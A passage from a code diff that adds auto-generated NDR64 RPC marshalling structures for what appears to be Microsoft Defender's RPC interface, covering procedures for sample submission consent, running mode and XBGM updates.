(NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1244_t __midl_frag1244 = +{ +/* *char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 8 /* 0x8 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2355 +}; + +static const __midl_frag1242_t __midl_frag1242 = +{ +/* Proc132_ServerMpXBGMUpdateIV */ + { + /* Proc132_ServerMpXBGMUpdateIV */ /* procedure Proc132_ServerMpXBGMUpdateIV */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 61 /* 0x3d */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2164, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2355, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2164, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1238_t __midl_frag1238 = +{ +/* Proc131_ServerMpDisableXBGM */ + { + /* Proc131_ServerMpDisableXBGM */ /* procedure Proc131_ServerMpDisableXBGM */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 2 /* 0x2 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2367, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag1227_t __midl_frag1227 = +{ +/* Proc129_ServerMpRpcIsGivenRunningModeSupported */ + { + /* Proc129_ServerMpRpcIsGivenRunningModeSupported */ /* procedure Proc129_ServerMpRpcIsGivenRunningModeSupported */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1221_t __midl_frag1221 = +{ +/* Proc128_ServerMpRpcGetRunningMode */ + { + /* Proc128_ServerMpRpcGetRunningMode */ /* procedure Proc128_ServerMpRpcGetRunningMode */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1217_t __midl_frag1217 = +{ +/* *Struct_2900_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1205 +}; + +static const __midl_frag1216_t __midl_frag1216 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag1215_t __midl_frag1215 = +{ +/* **Struct_2900_t */ + { + /* **Struct_2900_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_2900_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1216 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_2900_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1205 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1217 + } +}; + +static const __midl_frag1214_t __midl_frag1214 = +{ +/* **Struct_2900_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1215 +}; + +static const __midl_frag1212_t __midl_frag1212 = +{ +/* Proc127_ServerMpRpcConveyUserChoiceForSampleList */ + { + /* Proc127_ServerMpRpcConveyUserChoiceForSampleList */ /* procedure Proc127_ServerMpRpcConveyUserChoiceForSampleList */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1214, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1205_t __midl_frag1205 = +{ +/* Struct_2900_t */ + { + /* Struct_2900_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2900_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1203_t __midl_frag1203 = +{ +/* **Struct_2900_t */ + { + /* **Struct_2900_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_2900_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1298 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_2900_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1205 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1217 + } +}; + +static const __midl_frag1202_t __midl_frag1202 = +{ +/* **Struct_2900_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1203 +}; + +static const __midl_frag1201_t __midl_frag1201 = +{ +/* ***Struct_2900_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1202 +}; + +static const __midl_frag1198_t __midl_frag1198 = +{ +/* Proc126_ServerMpRpcGetSampleListRequiringConsent */ + { + /* Proc126_ServerMpRpcGetSampleListRequiringConsent */ /* procedure Proc126_ServerMpRpcGetSampleListRequiringConsent */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1201, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1194_t __midl_frag1194 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag1188_t __midl_frag1188 = +{ +/* Struct_2854_t */ + { + /* Struct_2854_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_2854_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 56 /* 0x38 */, + 0, + 0, + &__midl_frag1194, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1187_t __midl_frag1187 = +{ +/* *Struct_2854_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1188 +}; + +static const __midl_frag1186_t __midl_frag1186 = +{ +/* Proc125_ServerMpRpcConveySampleSubmissionResult */ + { + /* Proc125_ServerMpRpcConveySampleSubmissionResult */ /* procedure Proc125_ServerMpRpcConveySampleSubmissionResult */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1188, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1181_t __midl_frag1181 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag1180_t __midl_frag1180 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1181 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1179_t __midl_frag1179 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1180 +}; + +static const __midl_frag1178_t __midl_frag1178 = +{ +/* **char 